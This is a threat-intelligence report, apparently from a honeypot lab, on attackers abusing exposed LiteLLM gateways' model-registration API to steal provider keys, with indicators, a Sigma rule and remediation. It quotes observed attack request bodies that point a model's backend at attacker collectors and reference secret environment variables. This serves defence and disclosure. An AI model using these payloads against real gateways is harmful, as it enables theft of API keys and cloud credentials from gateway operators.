llm-abuse · litellm · llm-gateway · credential-theft · api-key-exfiltration · model-registration · llmjacking
Rogue Model Registration: Rigging Exposed LLM Gateways To Forward Provider Keys
Rogue model registration is an attack on an exposed LLM gateway's model-management API in which the attacker adds a model whose backend URL points at a collector they run and whose credential field is an environment-variable reference, so the gateway resolves its own stored provider secrets and forwards them outbound.
By Davis Zheng·
TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.
Executive summary
- 61rogue model registrations in one week
- 19+provider secret variables probed by name
- ~1.5 sto register, trigger and delete a model
- 17addresses presenting the documented example key
Rogue model registration is the abuse of an LLM gateway’s model-management API to add a model whose backend address and credential reference are both chosen by the caller, so that the gateway itself hands over the provider secrets it holds. The operators sent 61 POSTs to model-registration routes in the week of 18 to 25 November. Every registration body that carried parameters set litellm_params.api_base to a collector the caller chose, and all but the control bodies using a literal credential set litellm_params.api_key to an os.environ reference naming a provider secret. In 261 of these management requests, from 17 distinct addresses, the caller presented the product’s documented example admin credential.
LiteLLM’s proxy exposes its management API on the same port as inference, and two of its routes, /model/new and /config/update, accept a litellm_params block in which the caller supplies the model’s backend URL and its credential. The LiteLLM proxy accepts an os.environ/NAME reference in that credential field as a configuration convenience and resolves it server-side, in its own process environment, at call time. An operator points api_base at a host they run, sets api_key to os.environ/OPENAI_API_KEY, and sends the model a single token or calls the proxy’s connection-test route, and the gateway then dials that host and puts the victim’s real provider key in the authorisation header.
The prompts the operators sent were probes. Of 88 prompts from 38.181.82[.]185, 81 were liveness or capability probes, single-token greetings, small arithmetic checks, and 7 were general; every prompt that 142.248.80[.]184 and 104.251.181[.]158 sent to a model they had just registered was the single word hi. No sustained inference workload followed on any of the six addresses.
Key judgments
- The registrations are engineered to make the gateway hand its stored provider credentials to the operator, not to add a working model. Every registration body that carried parameters set api_base to a collector the caller chose, and all but the control bodies using a literal credential set api_key to an os.environ reference naming a provider secret, which the product resolves server-side at call time. High confidence.
- Four addresses in four hosting networks ran the same registration technique between 17 and 23 November 2026, with related credential replay from one pool through 25 November, and with different collectors and different naming schemes. Registration events attributed to 38.107.236[.]111, 142.248.80[.]184, 38.181.82[.]185 and 104.251.181[.]158 span 17 to 23 November in the evidence, and the collectors differ per address between two identifiers on one public request-capture service, a public out-of-band interaction host and the scanning addresses themselves. Moderate confidence.
- The objective is credential capture rather than free inference. Of 88 prompts from 38.181.82[.]185, 81 were liveness or capability probes such as single-token greetings and small arithmetic checks and 7 were general, and every prompt from 142.248.80[.]184 and 104.251.181[.]158 to a model they had just registered was the single word hi. Moderate confidence.
- Three addresses in one hosting /24 share proxy-key values, which is consistent with one operator's pool. 38.181.82[.]188 requested the configuration route at 18:17 on 24 November, and at 02:42 on 25 November, 8.4 hours later, 38.181.82[.]190 presented a proxy-key value that had previously been presented from 38.181.82[.]188; what the configuration route returned to .188 is not known. Four distinct proxy-key values each appear from two or three of the three addresses in that /24. Low confidence.
Timeline
- 2026-11-14 18:22 UTCEarliest activity from 142.248.80[.]184 in the evidence.
- 2026-11-17 14:16 UTC38.107.236[.]111 registers a control model pointing at an unroutable backend with a literal credential, then two models with os.environ references and an out-of-band collector, one of them shadowing an existing model name.
- 2026-11-21 09:37 UTC142.248.80[.]184 starts a 73-second run of 48 register-trigger-delete cycles at a fixed period of about 1.5 seconds.
- 2026-11-21 20:30 UTC38.181.82[.]185 opens with health checks, then walks key, user, spend and configuration routes and reads the configuration route repeatedly.
- 2026-11-21 20:33 UTC38.181.82[.]185 registers rogue models including one that shadows an existing model name, and mints a wildcard-model virtual key at 20:34:11.
- 2026-11-23 06:52 UTC104.251.181[.]158 runs the whole chain in seven and a half minutes: connection tests, eight registrations, a one-word prompt to each new model, a two-hour key mint, and a model-list rewrite at 06:56:50.
- 2026-11-24 18:17 UTC38.181.82[.]188 requests the gateway configuration route.
- 2026-11-25 02:42 UTC38.181.82[.]190 presents a proxy-key value that had previously been presented from 38.181.82[.]188, 8.4 hours later, then uses it on the inference route at 03:07:07.
The session, in order
2026-11-17 14:28:08 {"model_name":"glm-4-flash","litellm_params":{"model":"openai/glm-4-flash","api_key":"os.environ/ZHIPUAI_API_KEY","api_base":"[the operator's token subdomain on the public out-of-band interaction service]"}}
2026-11-21 09:37:57 {"model_name":"rtp1","litellm_params":{"model":"openai/gpt-4o-mini","api_key":"os.environ/ANTHROPIC_API_KEY","api_base":"[collector on 142.248.80[.]184, path named after the variable]"}}
2026-11-21 09:37:58 hi
2026-11-21 20:34:11 {"models":["*"],"key_alias":"qa1673all"}
2026-11-23 06:53:14 {"model_name": "osxenv4", "litellm_params": {"model": "openai/gpt-4o-mini", "api_base": "hxxp://104.251.181[.]158/z2", "api_key": "os.environ/AZURE_API_KEY"}, "model_info": {"id": "osxenv4"}}
2026-11-23 06:54:53 {"model_name":"osxdb1","litellm_params":{"model":"openai/gpt-4o-mini","api_base":"[collector path on 104.251.181[.]158]","api_key":"os.environ/OPENAI_API_KEY"},"model_info":{"id":"osxdb1","db_model":true,"mode":"chat","litellm_provider":"openai"}}
2026-11-23 06:55:36 {"model_name":"osxlit1","litellm_params":{"model":"openai/gpt-4o-mini","api_base":"[collector path on 104.251.181[.]158]","api_key":"sk-lit-777"},"model_info":{"id":"osxlit1","db_model":true,"mode":"chat"}}
2026-11-23 06:56:50 {"model_list": [{"model_name": "glm-5.2", "litellm_params": {"model": "openai/glm-5.2", "api_key": "os.environ/ZHIPUAI_API_KEY", "api_base": "[the model provider's own API endpoint]"}}, ... ]}
A 24-variable sweep in 73 seconds
142.248.80[.]184 (AS22295, US hosting) ran the clearest version of the technique. In 73 seconds it registered 48 models named rtp1 through rtp48, covering 24 distinct candidate environment variables, each with an api_base of the form hxxp://142.248.80[.]184/oai/e/[VARIABLE NAME]. The first body:
{"model_name":"rtp1","litellm_params":{"model":"openai/gpt-4o-mini","api_key":"os.environ/ANTHROPIC_API_KEY","api_base":"[collector on 142.248.80[.]184, path named after the variable]"}}
The address sent the prompt hi 0.6 to 1.3 seconds after each registration and deleted the model 1.2 seconds after registering it, a register-trigger-delete cycle of about 1.5 seconds. The variable list is provider-agnostic, running from OPENAI_API_KEY, ANTHROPIC_API_KEY and the Azure variables through the four AWS credential variables, GEMINI_API_KEY, GOOGLE_API_KEY, GOOGLE_APPLICATION_CREDENTIALS, VERTEXAI_PROJECT, GROQ_API_KEY, MISTRAL_API_KEY, DEEPSEEK_API_KEY and ZHIPUAI_API_KEY. The list also reaches past provider keys to the gateway’s own administrative key, its database connection string, its cache password, an observability secret, and LITELLM_SALT_KEY. That salt key encrypts provider credentials in the proxy’s database, and it is worth more than any single provider key.
The cycle period was fixed, the median gap inside the 264-event burst was 31 milliseconds, consecutive bodies differed only in the variable name and the incrementing model name, no retry or branch followed any individual cycle, and the tempo is machine-driven throughout.
The address is the only one in its /24 that appears in this activity, and it serves its own collector; its activity in the evidence runs from 14 to 21 November. VirusTotal places it with Advin Services LLC, with 6 of 92 engines calling the address malicious or suspicious, one resolution to 142-248-80-184.sslip[.]io on 21 November, and one communicating file, a shell script named q9boot2.sh, which no engine of 74 flagged. Nothing in those third-party records amounts to agreed malware.
Re-registering the gateway’s own model names
Two addresses re-registered model names the gateway already served. On 17 November, 38.107.236[.]111 registered a model under a name the gateway already had, with its backend on a public out-of-band interaction host:
{"model_name":"glm-4-flash","litellm_params":{"model":"openai/glm-4-flash","api_key":"os.environ/ZHIPUAI_API_KEY","api_base":"[the operator's token subdomain on the public out-of-band interaction service]"}}
On 21 November, 38.181.82[.]185 also re-registered an existing model name, pointing it at its own collector under a different internal id. When an operator overwrites a live model name, the victim’s own applications keep calling that name and keep sending their traffic, and the resolved provider key, to the operator until somebody reads the model list.
The 23 November session from 104.251.181[.]158
104.251.181[.]158 ran the whole chain in one scripted session of 176 requests over seven and a half minutes on 23 November. In that session it made health and connection-test calls, enumerated the models, registered eight models across OPENAI, AZURE and ZHIPUAI variables that mixed its own host with a public request-capture service, sent a one-word prompt to each new model, interleaved eleven connection-test calls with the registrations, minted a two-hour virtual key through /key/generate, and sent a /config/update POST whose body would have mixed the genuine provider endpoint with two of its own collector paths. Its registrations point at a self-hosted collector:
{"model_name": "osxenv4", "litellm_params": {"model": "openai/gpt-4o-mini", "api_base": "hxxp://104.251.181[.]158/z2", "api_key": "os.environ/AZURE_API_KEY"}, "model_info": {"id": "osxenv4"}}
Credential sharing inside 38.181.82[.]0/24
The pool in 38.181.82[.]0/24 worked over four days and across more routes, making configuration reads, key, user and spend enumeration, /sso/key/generate calls, and key-mint requests asking for the wildcard model set, which if honoured would outlive a master-key rotation. One wildcard request, from a second hosting network, reads {"models":["*"],"key_alias":"qa1673all"}. Four distinct proxy-key values each appear from two or three of the three addresses. 38.181.82[.]190 presented a credential value previously seen from .188 at 02:42 on 25 November, 8.4 hours after .188 requested the configuration route at 18:17 on 24 November. What the configuration route returned to .188 is not known; the shared value and the 8.4-hour gap are consistent with those three addresses being one pool.
Counts of the management requests
Table 1: Management requests by route or marker. These requests are state-changing by design; what the gateway did with any of them is not known.
| Route or marker | Count |
|---|---|
| Distinct caller-chosen collector paths, 18 to 25 November 2026 | 19 or more |
POSTs to /key/generate (2 requesting the wildcard model set) | 7 |
POSTs to /config/update, against 61 POSTs to model-registration routes in the same week | 2 |
| Management requests presenting the documented example admin credential | 261, from 17 distinct addresses |
That documented value is the example admin credential published in LiteLLM’s own quick-start, and public reporting puts the share of exposed gateways accepting it at roughly one in ten.
How this differs from the public account
Public reporting on this technique describes api_base redirection with api_key set to the proxy’s master-key variable. These operators went wider in two ways. They swept the credential reference across nineteen or more provider and platform variables instead of one variable, and they used the registration to overwrite existing model names. The method also resembles honeypot-observed LiteLLM connection-test abuse reported earlier in 2026, a resemblance we hold at low confidence. We map the initial access to T1190 (Exploit Public-Facing Application), the persistence to T1098 (Account Manipulation), the credential access to T1552.001 (Unsecured Credentials: Credentials In Files), and the defense evasion to T1078 (Valid Accounts). We map the outbound call that carries the secret off the machine holding it to T1048.003 (Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol).
Tradecraft
- The one-word prompt exists only to make the gateway dial the collector. The deletion removes the one artefact an administrator would notice in the model list. The objective is credential capture rather than free inference.
- The collector URL path is the name of the environment variable requested, as in
/oai/e/AWS_SECRET_ACCESS_KEY. The collector’s access log therefore sorts the captured secrets by variable name and by victim without any server-side code. One host can run this against many gateways at once. - Collectors across the six addresses are a public request-capture service under two identifiers, a public out-of-band interaction host, and two addresses’ own HTTP roots. The public services keep the collection point off the operator’s infrastructure and survive an address block. The self-hosted paths show the operator trading that cover for convenience.
- The earliest address first registered a model pointing at an unroutable backend with the literal credential
xand only then switched toos.environreferences, establishing the failure mode before spending a real collector URL. - One address presents three different HTTP client libraries in a single 15-minute session, and across the six addresses the clients are Python-urllib/3.14, curl/8.18.0, Python/3.14 aiohttp/3.14.5, python-requests/2.25.1, curl/7.74.0 and curl/7.88.1, none carrying an operator name or contact. Stock clients with default user agents give a defender no usable pivot, and the request body is the only reliable marker.
- Two of the six addresses serve their own collector, while the 38.181.82[.]0/24 pool runs three addresses over four days. Collection and exploitation on one host gives a defender a single value to block and a single owner to complain to. The pool model costs the operator more, and the longer-running operator used it.
How we tested it
We tested four readings of this activity against the request bodies, their timing and the clients that sent them. The caller-chosen collectors and the prompt that follows each registration support reading the registrations as a credential-exfiltration primitive, state-changing requests from clients that name no operator or contact refute a benign internet-wide survey or vendor scanner, and a fixed cycle period with no retry or branch after any cycle refutes an agent adapting to the gateway’s replies. The evidence did not settle whether the six addresses are one operator’s pool or several users of a shared toolkit. The four shared proxy-key values inside 38.181.82[.]0/24 are consistent with one pool; across the six addresses the collectors split into two identifiers on one public request-capture service, a public out-of-band host and two self-hosted paths, and the naming splits into four schemes. The shared POST client fingerprint is weak evidence because these are default HTTP libraries. We hold that attribution at low confidence.
| Explanation | Test | Result | Verdict |
|---|---|---|---|
| The registrations are a credential-exfiltration primitive rather than a misconfigured or clumsy client | Extract api_base and api_key from every registration body in the window and check whether an invocation of the registered model follows | 61 registrations over 18 to 25 November; every body carrying parameters set api_base to a caller-chosen collector (19 or more distinct paths), and all but the control bodies using a literal credential set api_key to an os.environ reference naming a provider secret; in 48 of 48 cycles on 21 November a one-word prompt to the new model followed within 0.6 to 1.3 s and a deletion 1.2 s after the registration, and the 23 November session interleaved eleven connection-test calls with its registrations | Supported |
| A benign internet-wide survey or vendor scanner | Check whether the requests change state on the target and whether any client identifies its operator | The requests are state-changing by design: 61 POSTs to /model/new, 7 POSTs to /key/generate (two requesting models set to the wildcard), 2 POSTs to /config/update and repeated model-deletion requests; what the gateway did with them is not known. The clients are Python-urllib/3.14, curl/8.18.0, Python/3.14 aiohttp/3.14.5, python-requests/2.25.1, curl/7.74.0 and curl/7.88.1, none carrying an operator name or contact | Refuted |
| One operator’s address pool rather than several users of a shared method | Compare collectors, model-naming schemes, credential reuse, neighbouring addresses and client fingerprints across the six addresses | Three addresses in 38.181.82[.]0/24 share four proxy-key values, and a credential value appears from one of them 8.4 hours after another requested the configuration route, which is consistent with those three being one pool. 142.248.80[.]184 is the only active address in its /24 and 104.251.181[.]158 has two quiet neighbours; across the six addresses collectors split between two identifiers on one public request-capture service, a public out-of-band host and two self-hosted paths, and naming splits into four schemes; the POST client fingerprint of 142.248.80[.]184 is shared with three unrelated sources in three other /24s, which is weak evidence because these clients are default HTTP libraries | Inconclusive |
| An agent adapting to replies rather than a fixed list | Measure the cycle period and the variation between consecutive registration bodies in the 21 November run | 48 cycles at a fixed period of about 1.5 s, median gap 31 ms inside the 264-event burst, bodies differing only in the environment-variable name and an incrementing model name rtp1 to rtp48; no retry or branch after any individual cycle | Refuted |
Hardening an exposed LiteLLM proxy
If you run a LiteLLM proxy, you can close this off by changing its configuration. Set disable_add_model_via_api and keep the management routes off the internet. Then audit the model list, and treat a registered model whose api_base is not a provider endpoint as a credential leak that has already happened, which means you rotate every provider key the proxy’s environment holds and the salt key that encrypts the rest.
Whether the registrations continue past 25 November
We do not know whether this activity continues after 25 November 2026.
Indicators of compromise
The 8 network indicators below are defanged; paths are given as observed. The 1 legitimate third-party service the activity abuses stays live so it remains usable for detection.
Network
| Indicator | Context |
|---|---|
142.248.80[.]184 | sent 48 rogue model-registration requests in 73 seconds and hosts its own collector paths under /oai/e/; only active source in its /24 |
104.251.181[.]158 | one seven-and-a-half-minute session of registrations, connection tests, key minting and a config rewrite; also the api_base host for four of its own registrations |
38.181.82[.]185 | management-API enumeration, model shadowing, wildcard key minting; 88 validation prompts |
38.181.82[.]188 | same pool; issued repeated GETs to the configuration route |
38.181.82[.]190 | same pool; presented on 25 November a proxy-key value that had previously been presented from 38.181.82[.]188, 8.4 hours after 38.181.82[.]188 requested the configuration route on 24 November |
38.107.236[.]111 | earliest registrations in the evidence, including a control case against an unroutable backend and a shadowed model name |
hxxp://142.248.80[.]184/oai/e/OPENAI_API_KEY | collector path named after the environment variable being stolen; 19 or more sibling paths observed, no external record returned for it |
hxxp://104.251.181[.]158/z2 | self-hosted collector used as api_base for registrations referencing OPENAI_API_KEY and AZURE_API_KEY |
dbu681u2md7rjrm6nfqg99mzb5s9zhmiw.oast.fun | operator’s token subdomain on a public out-of-band interaction service, used as the registered model backend on 17 November |
Host artefacts
| Indicator | Context |
|---|---|
/oai/e/[PROVIDER_ENV_VAR] | collector URL layout; observed values include /oai/e/ANTHROPIC_API_KEY and /oai/e/AWS_SECRET_ACCESS_KEY |
"api_key":"os.environ/" in a /model/new or /config/update body | the element that turns the gateway into a credential-forwarding client; hunt for it in management-route request bodies |
model_name values rtp1-rtp48, osxenv1-4, osxss80, osxsswh, osxdb1, osxlit1, osxcfg1-2, qa1673probe, qa1673ex, rtcap-222651, rtprobe-852232 | rogue model names registered then usually deleted; review your gateway’s model list and audit log for them |
key_alias values qa1673all, qa1673vk, i22probe | aliases on virtual keys minted by the operators, two of them with models set to the wildcard |
Detection
Sigma
LiteLLM model registration with an environment-variable credential reference (candidate).
title: LiteLLM model registration with an environment-variable credential reference
status: experimental
description: A POST to the LiteLLM proxy management routes /model/new, /model/update or /config/update whose body references os.environ, which the proxy resolves server-side and forwards to the api_base chosen in the same request. Request bodies are frequently not logged by reverse proxies, so this rule needs body capture or the proxy's own audit log.
logsource:
category: proxy
detection:
selection_route:
cs-method: 'POST'
cs-uri-stem:
- '/model/new'
- '/model/update'
- '/config/update'
selection_body:
cs-body|contains: 'os.environ/'
condition: selection_route and selection_body
falsepositives:
- An administrator adding a model through the API with a legitimate environment-variable credential; verify the api_base in the same body is a known provider endpoint
- Configuration-management tooling that posts the whole model list on deploy
level: high
Detection logic
- Gateway host dialling a model backend that is not a provider endpoint (network, candidate). Alert when the host running the LLM gateway makes an outbound HTTP or HTTPS request to any destination that is not on the allowlist of provider API endpoints, and in particular to public request-capture or out-of-band interaction services such as oast[.]fun. The gateway’s outbound call carries the resolved provider credential in its authorisation header, so one such connection is a credential disclosure.
- Model registered and deleted within seconds, or a duplicate model name with a new backend (behavioural, candidate). From the gateway’s audit log or model list, flag two shapes: a model created and deleted inside one minute with at least one inference call or connection test in between, and a newly created model whose model_name duplicates an existing entry but whose api_base or internal id differs. The first is the register-trigger-delete sweep; the second is model shadowing, which silently redirects the victim’s own application traffic. Also flag virtual keys whose models field is the wildcard and whose alias your team did not create.
Remediation
- Set disable_add_model_via_api: true and keep the management routes (/model/new, /model/update, /model/delete, /config/update, /key/generate, /sso/key/generate) off the internet and behind an authenticating proxy.
- Replace the quick-start example master key with a long random value, and give applications scoped virtual keys instead of the master key.
- If any of those routes was reachable, rotate every provider key the proxy holds, the master key and LITELLM_SALT_KEY, and audit the key list for aliases and wildcard-model keys your team did not create.
- Allowlist the gateway host’s outbound destinations to known provider API endpoints, so a model registration pointing anywhere else cannot complete.
- Review the model list and audit log for entries created and deleted within seconds, and for duplicate model names whose api_base differs from the provider endpoint.
- Upgrade to a current LiteLLM release: the admin-API escalation and virtual-key escalation flaws disclosed in 2026 give an attacker the same management surface without the master key.
MITRE ATT&CK mapping
| Tactic | Technique | Observed |
|---|---|---|
| Initial access | T1190 Exploit Public-Facing Application | Management routes of an internet-exposed LLM gateway were driven with the example master-key value from the product documentation, 261 requests from 17 addresses. |
| Credential access | T1552.001 Unsecured Credentials: Credentials In Files | Repeated requests to the gateway configuration route, after which a credential value was presented to the gateway as an API key. |
| Persistence | T1098 Account Manipulation | Virtual keys minted through /key/generate with models set to the wildcard and aliases qa1673all, qa1673vk and i22probe, plus /sso/key/generate and /user/new calls. |
| Defence evasion | T1078 Valid Accounts | Proxy-key bearer values were presented on /v1/chat/completions, /v1/models and /v1/messages by the three addresses in 38.181.82[.]0/24, four values appearing from two or three of them. |
| Exfiltration | T1048.003 Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol | Registered model backends pointed at plain-HTTP collector paths on the scanning hosts and at public third-party capture services, so the gateway’s outbound call would carry the resolved secret off the network. |
References
- Zenity Labs: threat actors turning the LiteLLM connection test into a key-exfiltration channel
- BerriAI/litellm issue 31052: team admins can exfiltrate proxy environment secrets via os.environ in database-stored team models
- Nearly 1 in 10 exposed LiteLLM gateways accepted the example admin key
- LiteLLM documentation: proxy security best practices
- Zenity Labs: LiteLLM CVE-2026-35029, admin API escalation exploited one day after disclosure
Methodology and analyst notes
The evidence covers gateway-facing activity from six addresses between 14 and 25 November 2026, with the registration bodies and their order as the primary material. The count of addresses presenting the documented example master key draws on a wider set of gateway-facing requests than the six addresses detailed here. What the collectors received is not observable from this vantage point, so whether any genuine provider credential reached them is not known. External lookups taken on 26 November 2026 were thin: 0 of 92 engines flag 38.181.82[.]185, 10 of 92 flag 104.251.181[.]158 and 6 of 92 flag 142.248.80[.]184, and the lookups for the two collector URLs and the out-of-band host returned no answer at all. No binary or sample is involved in this activity, and the gateway-side effect of each request is not described here. Collector URLs quoted inside the request bodies above are shown with the host or path abbreviated where the full value is not carried in the indicator list.
Questions or corrections: contact@kinryu.sh.